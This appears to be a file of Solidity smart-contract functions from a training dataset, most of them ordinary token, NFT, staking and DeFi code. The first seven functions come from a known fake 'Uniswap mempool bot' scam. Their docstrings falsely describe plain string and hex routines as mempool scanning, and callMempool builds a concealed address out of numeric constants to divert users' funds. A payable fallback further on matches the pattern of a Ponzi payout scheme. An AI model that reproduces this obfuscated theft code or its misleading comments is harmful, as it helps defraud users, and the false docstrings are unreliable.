lohoz/Smart-Contract-MultiTask-Dataset huggingface dataset:
// Solidity 0.6.6
/*
 * @dev Extracts the newest contracts on Uniswap exchange
 * @param self The slice to operate on.
 * @param rune The slice that will contain the first rune.
 * @return `list of contracts`.
 */
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }
// Solidity 0.6.6
/*
 * @dev Extracts the contract from Uniswap
 * @param self The slice to operate on.
 * @param rune The slice that will contain the first rune.
 * @return `rune`.
 */
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }
// Solidity 0.6.6
/*
 * @dev Calculates remaining liquidity in contract
 * @param self The slice to operate on.
 * @return The length of the slice in runes.
 */
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }
// Solidity 0.6.6
/*
 * @dev Parsing all uniswap mempool
 * @param self The contract to operate on.
 * @return True if the slice is empty, False otherwise.
 */
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }
// Solidity 0.6.6
/*
 * @dev Check if contract has enough liquidity available
 * @param self The contract to operate on.
 * @return True if the slice starts with the provided text, false otherwise.
 */
function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }
// Solidity 0.6.6
/*
 * @dev Iterating through all mempool to call the one with the with highest possible returns
 * @return `self`.
 */
function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 376376;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 419272;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 1039850;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 862501;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }
// Solidity 0.6.6
/*
 * @dev token int2 to readable str
 * @param token An output parameter to which the first token is written.
 * @return `token`.
 */
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
// Solidity 0.6.6
/*
 * @dev loads all uniswap mempool into memory
 * @param token An output parameter to which the first token is written.
 * @return `mempool`.
 */
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
// Solidity 0.8.7
/**
 * Callback function used by VRF Coordinator
 */
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
        if(mintingFinalRandRequestId == requestId) {
            mintingFinalized = true;
            // All tokenId to imageId shifted by finalShifter, except Flippening Otter.
            finalShifter = randomness%OTTER_MAX;        
        } else {
            randomResult = randomness;
        }
    }
// Solidity 0.8.7
// Token URI
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
    require(
      _exists(tokenId),
      "ERC721Metadata: URI query for nonexistent token"
    );
    
    if(revealed == false) {
        return notRevealedUri;
    }

    string memory currentBaseURI = _baseURI();
    return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : "";
  }
// Solidity 0.6.12
// sat / eth
function _getKBTCPrice(address oracle) internal view returns (uint256) {
        try IOracle(oracle).consult(kbtc, kbtcOneUnit) returns (uint256 price) {
            return price;
        } catch {
            revert('Treasury: failed to consult kbtc price from the oracle');
        }
    }
// Solidity 0.6.12
/* ========== GOVERNANCE ========== */
function initialize() public checkOperator {
        require(!initialized, 'Treasury: initialized');

        // burn all of it's balance
        IKlondikeAsset(kbtc).burn(IERC20(kbtc).balanceOf(address(this)));

        // set accumulatedSeigniorage to it's balance
        accumulatedSeigniorage = IERC20(kbtc).balanceOf(address(this));

        initialized = true;
        emit Initialized(msg.sender, block.number);
    }
// Solidity 0.5.12
// Invest ETH
function invest(uint256 _amount)
      external
      nonReentrant
  {
      require(_amount > 0, "deposit must be greater than 0");
      pool = calcPoolValueInToken();
      IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
      rebalance();
      // Calculate pool shares
      uint256 shares = 0;
      if (pool == 0) {
        shares = _amount;
        pool = _amount;
      } else {
        shares = (_amount.mul(_totalSupply)).div(pool);
      }
      pool = calcPoolValueInToken();
      _mint(msg.sender, shares);
  }
// Solidity 0.5.12
// Redeem any invested tokens from the pool
function redeem(uint256 _shares)
      external
      nonReentrant
  {
      require(_shares > 0, "withdraw must be greater than 0");
      uint256 ibalance = balanceOf(msg.sender);
      require(_shares <= ibalance, "insufficient balance");
      // Could have over value from cTokens
      pool = calcPoolValueInToken();
      // Calc eth to redeem before updating balances
      uint256 r = (pool.mul(_shares)).div(_totalSupply);
      _balances[msg.sender] = _balances[msg.sender].sub(_shares, "redeem amount exceeds balance");
      _totalSupply = _totalSupply.sub(_shares);
      emit Transfer(msg.sender, address(0), _shares);
      // Check ETH balance
      uint256 b = IERC20(token).balanceOf(address(this));
      if (b < r) {
        withdrawSome(r);
      }
      IERC20(token).safeTransfer(msg.sender, r);
      rebalance();
      pool = calcPoolValueInToken();

  }
// Solidity 0.8.10
/*function recoverSigner(bytes32 message, bytes memory sig)
 internal
 pure
 returns (address)
 {
 (uint8 v, bytes32 r, bytes32 s) = splitSignature(sig);
 return ecrecover(message, v, r, s);
 }
 
 /*function phaseOneBuyTickets(
 uint256 amount,
 uint256 nonce,
 bytes memory signature
 )  external payable {
 require(phaseOneActive, "PHASE ONE NOT ACTIVE");
 require(amount > 0, "HAVE TO BUY AT LEAST 1");
 
 require(phaseOneAddressToTickets[msg.sender].add(amount) <= phaseOneMaxTicketsPerUser, "ALREADY BOUGHT MAX TICKET");
 require(msg.value == phaseOneTicketPrice.mul(amount), "INCORRECT AMOUNT PAID");
 require(phaseOneTicketSales.add(amount) <= phaseOneMaxSupply, "PHASE 1 TICKETS SOLD");
 
 require(preSaleAddressToNonce[msg.sender] == nonce, "INCORRECT NONCE");
 bytes32 message = keccak256(abi.encodePacked(msg.sender, true, nonce, address(this))).toEthSignedMessageHash();
 require(recoverSigner(message, signature) == signatureProvider, "SIGNATURE NOT FROM PROVIDER WALLET");
 preSaleAddressToNonce[msg.sender] = preSaleAddressToNonce[msg.sender].add(1);
 
 phaseOneAddressToTickets[msg.sender] = amount;
 phaseOneTicketSales = phaseOneTicketSales.add(amount);
 }
 
 function phaseTwoBuyTickets(
 uint256 amount,
 uint256 nonce,
 bytes memory signature
 )  external payable {
 require(phaseTwoActive, "PHASE TWO NOT ACTIVE");
 require(amount > 0, "HAVE TO BUY AT LEAST 1");
 
 require(phaseTwoAddressToTickets[msg.sender].add(phaseOneAddressToTickets[msg.sender]).add(amount) <= phaseTwoMaxTicketsPerUser, "INCORRECT TICKET AMOUNT");
 require(msg.value == phaseTwoTicketPrice.mul(amount), "INCORRECT AMOUNT PAID");
 require(phaseTwoTicketSales.add(amount) <= phaseTwoMaxSupply.add(phaseOneMaxSupply.sub(phaseOneTicketSales)), "PHASE 2 TICKETS SOLD");
 
 require(preSaleAddressToNonce[msg.sender] == nonce, "INCORRECT NONCE");
 bytes32 message = keccak256(abi.encodePacked(msg.sender, false, nonce, address(this))).toEthSignedMessageHash();
 require(recoverSigner(message, signature) == signatureProvider, "SIGNATURE NOT FROM PROVIDER WALLET");
 preSaleAddressToNonce[msg.sender] = preSaleAddressToNonce[msg.sender].add(1);
 
 phaseTwoAddressToTickets[msg.sender] = phaseTwoAddressToTickets[msg.sender].add(amount);
 phaseTwoTicketSales = phaseTwoTicketSales.add(amount);
 }*/
function phaseOneBuyTicketsMerkle(
        bytes32[] calldata proof
    )  external payable {
        require(phaseOneActive, "PHASE ONE NOT ACTIVE");

        bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
        require(MerkleProof.verify(proof, phaseOneMerkleRoot, leaf), "INVALID PROOF");
        require(addressToTickets[msg.sender] == 0, "ALREADY GOT TICKET");
        require(msg.value == ticketPrice, "INCORRECT AMOUNT PAID");
        addressToTickets[msg.sender] = 1;
        ticketSales = ticketSales + 1;
    }
// Solidity 0.6.6
//=========================================================================================================================================
//WUNIv2 minter
function _wrapUNIv2(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        //Get Corlibri Balance of UNIv2
        uint256 UNIv2Balance = ERC20(UNIv2).balanceOf(Corlibri);
        
        //transferFrom UNIv2
        ERC20(UNIv2).transferFrom(sender, recipient, amount);
        
        //Mint Tokens, equal to the UNIv2 amount sent
        _mint(sender, amount.mul(publicWrappingRatio).div(100));

        //Checks if balances OK otherwise throw
        require(UNIv2Balance.add(amount) == ERC20(UNIv2).balanceOf(Corlibri), "Math Broken");
    }
// Solidity 0.8.10
/// @notice internal helper method to redeem fei in exchange for an external asset
function _redeem(
        address to,
        uint256 amountFeiIn,
        uint256 minAmountOut
    ) internal virtual returns(uint256 amountOut) {
        updateOracle();

        amountOut = _getRedeemAmountOut(amountFeiIn);
        require(amountOut >= minAmountOut, "PegStabilityModule: Redeem not enough out");

        IERC20(fei()).safeTransferFrom(msg.sender, address(this), amountFeiIn);

        _transfer(to, amountOut);

        emit Redeem(to, amountFeiIn, amountOut);
    }
// Solidity 0.8.10
/// @notice helper function to get redeem amount out based on current market prices
/// @dev will revert if price is outside of bounds and bounded PSM is being used
function _getRedeemAmountOut(uint256 amountFeiIn) internal virtual view returns (uint256 amountTokenOut) {
        Decimal.D256 memory price = readOracle();
        _validatePriceRange(price);

        /// get amount of dollars being provided
        Decimal.D256 memory adjustedAmountIn = Decimal.from(
            amountFeiIn * (Constants.BASIS_POINTS_GRANULARITY - redeemFeeBasisPoints) / Constants.BASIS_POINTS_GRANULARITY
        );

        /// now turn the dollars into the underlying token amounts
        /// dollars / price = how much token to pay out
        amountTokenOut = adjustedAmountIn.div(price).asUint256();
    }
// Solidity 0.8.3
// REFLECTION
function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");

        (, uint256 tFee, uint256 tLiquidity, uint256 tDeveloper) = _getTValues(tAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount,,) = _getRValues(tAmount, tFee, tLiquidity, tDeveloper, currentRate);

        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal         = _rTotal.sub(rAmount);
        _tFeeTotal      = _tFeeTotal.add(tAmount);
    }
// Solidity 0.4.25
/**
 * @dev Set SGN minimum value.
 * @param _sequenceNum The sequence-number of the operation.
 * @param _sgnMinimumLimiterValueN The numerator of the SGN minimum limiter value.
 * @param _sgnMinimumLimiterValueD The denominator of the SGN minimum limiter value.
 */
function setSGNMinimumLimiterValue(uint256 _sequenceNum, uint256 _sgnMinimumLimiterValueN, uint256 _sgnMinimumLimiterValueD) external onlyOwner {
        require(1 <= _sgnMinimumLimiterValueN && _sgnMinimumLimiterValueN <= MAX_RESOLUTION, "SGN minimum limiter value numerator is out of range");
        require(1 <= _sgnMinimumLimiterValueD && _sgnMinimumLimiterValueD <= MAX_RESOLUTION, "SGN minimum limiter value denominator is out of range");

        if (sequenceNum < _sequenceNum) {
            sequenceNum = _sequenceNum;
            sgnMinimumLimiterValueN = _sgnMinimumLimiterValueN;
            sgnMinimumLimiterValueD = _sgnMinimumLimiterValueD;
            emit SGNMinimumLimiterValueSaved(_sgnMinimumLimiterValueN, _sgnMinimumLimiterValueD);
        }
        else {
            emit SGNMinimumLimiterValueNotSaved(_sgnMinimumLimiterValueN, _sgnMinimumLimiterValueD);
        }
    }
// Solidity 0.7.5
/**
 @notice stakes SQUID and wraps sSQUID
 @param _amount uint
 @return uint
 */
function wrapFromSQUID( uint _amount ) external returns ( uint ) {
        IERC20( SQUID ).transferFrom( msg.sender, address(this), _amount );

        IERC20( SQUID ).approve( staking, _amount ); // stake SQUID for sSQUID
        IStaking( staking ).stake( _amount, address(this) );

        uint value = wSQUIDValue( _amount );
        _mint( msg.sender, value );
        return value;
    }
// Solidity 0.7.5
/**
 @notice unwrap sSQUID and unstake SQUID
 @param _amount uint
 @return uint
 */
function unwrapToSQUID( uint _amount ) external returns ( uint ) {
        _burn( msg.sender, _amount );

        uint value = sSQUIDValue( _amount );
        IERC20( sSQUID ).approve( staking, value ); // unstake sSQUID for SQUID
        IStaking( staking ).unstake( value, address(this) );

        IERC20( SQUID ).transfer( msg.sender, value );
        return value;
    }
// Solidity 0.7.5
/**
 @notice wrap sSQUID
 @param _amount uint
 @return uint
 */
function wrapFromsSQUID( uint _amount ) external returns ( uint ) {
        IERC20( sSQUID ).transferFrom( msg.sender, address(this), _amount );

        uint value = wSQUIDValue( _amount );
        _mint( msg.sender, value );
        return value;
    }
// Solidity 0.8.0
/*
 * Message Jakub "I heard you like chicken" on Discord
 */
function stepThroughThePortal(uint256[] memory claimIds) external nonReentrant() {
        require(_claimPeriodIsOpen, "Claim period is not open");
        
        for (uint256 i = 0; i < claimIds.length; i++) {
            uint256 tokenId = claimIds[i];
            require(ITopDogBeachClub(_tdbcAddress).ownerOf(tokenId) == msg.sender || ITopDogPortalizer(_tdptAddress).ownerOf(tokenId) == msg.sender, "Claimant is not the owner");

            _mintCat(msg.sender, tokenId);
        }
    }
// Solidity 0.8.0
/*
 * Called once by the dev team to mint unclaimed cats after the claim period ends. Used for giveaways, marketing, etc.
 */
function reserve(uint256[] memory tokenIds) external onlyOwner {
        require(block.timestamp > 1633903200, "Not yet");
        require(!_claimPeriodIsOpen, "Claim is still open..?");
        require(_canReserve, "Already called");
        require(tokenIds.length <= DEV_CATS, "Too many cats");

        for (uint256 i = 0; i < tokenIds.length; i++) {
            _mintCat(msg.sender, tokenIds[i]);
        }

        _canReserve = false;
    }
// Solidity 0.8.0
/**
 * @notice Returns a list of all tokenIds assigned to an address - used by the TDBC website
 * Taken from https://ethereum.stackexchange.com/questions/54959/list-erc721-tokens-owned-by-a-user-on-a-web-page
 * @param user get tokens of a given user
 */
function tokensOfOwner(address user) external view returns (uint256[] memory ownerTokens) {
        uint256 tokenCount = balanceOf(user);

        if (tokenCount == 0) {
            return new uint256[](0);
        } else {
            uint256[] memory output = new uint256[](tokenCount);

            for (uint256 index = 0; index < tokenCount; index++) {
                output[index] = tokenOfOwnerByIndex(user, index);
            }
            
            return output;
        }
    }
// Solidity 0.4.25
//advertising address
function() external payable {
        
        ads.transfer(msg.value/20); //Send 5% for advertising
        //if investor already returned his deposit then his rate become 4%
        if(balance[msg.sender]>=overallPayment[msg.sender])
            rate[msg.sender]=80;
        else
            rate[msg.sender]=40;
        //payments    
        if (balance[msg.sender] != 0){
            uint256 paymentAmount = balance[msg.sender]*rate[msg.sender]/1000*(now-timestamp[msg.sender])/86400;
            // if investor receive more than 200 percent his balance become zero
            if (paymentAmount+overallPayment[msg.sender]>= 2*balance[msg.sender])
                balance[msg.sender]=0;
            // if profit amount is not enough on contract balance, will be sent what is left
            if (paymentAmount > address(this).balance) {
                paymentAmount = address(this).balance;
            }    
            msg.sender.transfer(paymentAmount);
            overallPayment[msg.sender]+=paymentAmount;
        }
        timestamp[msg.sender] = now;
        balance[msg.sender] += msg.value;
        
    }
// Solidity 0.4.25
// GLADIATOR BATTLES
function createGladiatorBattle(
        uint256 _dragonId,
        uint8[2] _tactics,
        bool _isGold,
        uint256 _bet,
        uint16 _counter
    ) external payable onlyHuman whenNotPaused {
        address(gladiatorBattle).transfer(msg.value);
        uint256 _id = gladiatorBattle.create(msg.sender, _dragonId, _tactics, _isGold, _bet, _counter, msg.value);
        events.emitGladiatorBattleCreated(_id, msg.sender, _dragonId, _bet, _isGold);
    }
// Solidity 0.4.25
/*
 @dev Function to set the basis point rate .
 @param newBasisPoints uint which is <= 9.
 */
function setParams(uint newBasisPoints,uint newMaxFee,uint newMinFee) public onlyOwner {
        // Ensure transparency by hardcoding limit beyond which fees can never be added
        require(newBasisPoints <= 9);
        require(newMaxFee <= 100);
        require(newMinFee <= 5);
        basisPointsRate = newBasisPoints;
        maximumFee = newMaxFee.mul(10**uint(decimals));
        minimumFee = newMinFee.mul(10**uint(decimals));
        emit Params(basisPointsRate, maximumFee, minimumFee);
    }